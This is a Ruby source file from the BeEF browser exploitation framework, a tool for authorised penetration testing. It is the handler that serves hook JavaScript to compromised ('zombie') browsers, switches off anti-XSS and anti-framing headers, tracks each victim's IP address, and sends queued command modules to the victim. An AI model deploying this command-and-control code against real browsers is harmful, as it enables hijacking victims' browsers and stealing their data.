Path: blob/master/core/main/handlers/hookedbrowsers.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Core7module Handlers8# @note This class handles connections from hooked browsers to the framework.9class HookedBrowsers < BeEF::Core::Router::Router10include BeEF::Core::Handlers::Modules::BeEFJS11include BeEF::Core::Handlers::Modules::MultiStageBeEFJS12include BeEF::Core::Handlers::Modules::LegacyBeEFJS13include BeEF::Core::Handlers::Modules::Command1415# antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.16configure do17disable :protection18end1920# Generate the hook js provided to the hookwed browser (the magic happens here)21def confirm_browser_user_agent(user_agent)22browser_type = user_agent.split(' ').last # selecting just name/version of browser23# does the browser already exist in the legacy database / object? Return true if yes24# browser and therefore which version of the hook file to generate and use25BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|26return true if ua_string.include? browser_type27end28false29end3031# Process HTTP requests sent by a hooked browser to the framework.32# It will update the database to add or update the current hooked browser33# and deploy some command modules or extensions to the hooked browser.34get '/' do35@body = ''36params = request.query_string37# @response = Rack::Response.new(body=[], 200, header={})38config = BeEF::Core::Configuration.instance3940# @note check source ip address of browser41permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')42if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty?43BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")44error 40445end4647found = false48permitted_hooking_subnet.each do |subnet|49found = true if IPAddr.new(subnet).include?(request.ip)50end5152unless found53BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")54error 40455end5657excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet')58unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty?59excluded_ip_hooked = false6061excluded_hooking_subnet.each do |subnet|62excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip)63end6465if excluded_ip_hooked66BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.")67error 40468end69end7071# @note get zombie if already hooked the framework72hook_session_name = config.get('beef.http.hook_session_name')73hook_session_id = request[hook_session_name]74begin75raise ActiveRecord::RecordNotFound if hook_session_id.nil?7677hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first78rescue ActiveRecord::RecordNotFound79hooked_browser = false80end8182# @note is a new browser so return instructions to set up the hook83if hooked_browser84# @note Check if we haven't seen this browser for a while, log an event if we haven't85if (Time.new.to_i - hooked_browser.lastseen.to_i) > 6086BeEF::Core::Logger.instance.register('Zombie', "#{hooked_browser.ip} appears to have come back online", hooked_browser.id.to_s)87end8889# @note record the last poll from the browser90hooked_browser.lastseen = Time.new.to_i9192# @note Check for a change in zombie IP and log an event93if config.get('beef.http.allow_reverse_proxy') == true94if hooked_browser.ip != request.env['HTTP_X_FORWARDED_FOR']95BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.env['HTTP_X_FORWARDED_FOR']}", hooked_browser.id.to_s)96hooked_browser.ip = request.env['HTTP_X_FORWARDED_FOR']97end98elsif hooked_browser.ip != request.ip99BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.ip}", hooked_browser.id.to_s)100hooked_browser.ip = request.ip101end102103hooked_browser.count!104hooked_browser.save!105106# @note add all available command module instructions to the response107zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)108zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }109110# @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered111are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id)112are_executions.each do |are_exec|113@body += are_exec.mod_body114are_exec.update(is_sent: true, exec_time: Time.new.to_i)115end116117# @note We dynamically get the list of all browser hook handler using the API and register them118BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response)119else120121# @note generate the instructions to hook the browser122host_name = request.host123unless BeEF::Filters.is_valid_hostname?(host_name)124(print_error 'Invalid host name'125return)126end127128# Generate the hook js provided to the hookwed browser (the magic happens here)129if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')130print_debug 'Using WebSocket'131build_beefjs!(host_name)132elsif confirm_browser_user_agent(request.user_agent)133print_debug 'Using multi_stage_beefjs'134multi_stage_beefjs!(host_name)135else136print_debug 'Using legacy_build_beefjs'137legacy_build_beefjs!(host_name)138end139# @note is a known browser so send instructions140end141142# @note set response headers and body143headers 'Pragma' => 'no-cache',144'Cache-Control' => 'no-cache',145'Expires' => '0',146'Content-Type' => 'text/javascript',147'Access-Control-Allow-Origin' => '*',148'Access-Control-Allow-Methods' => 'POST, GET'149@body150end151end152end153end154end155156157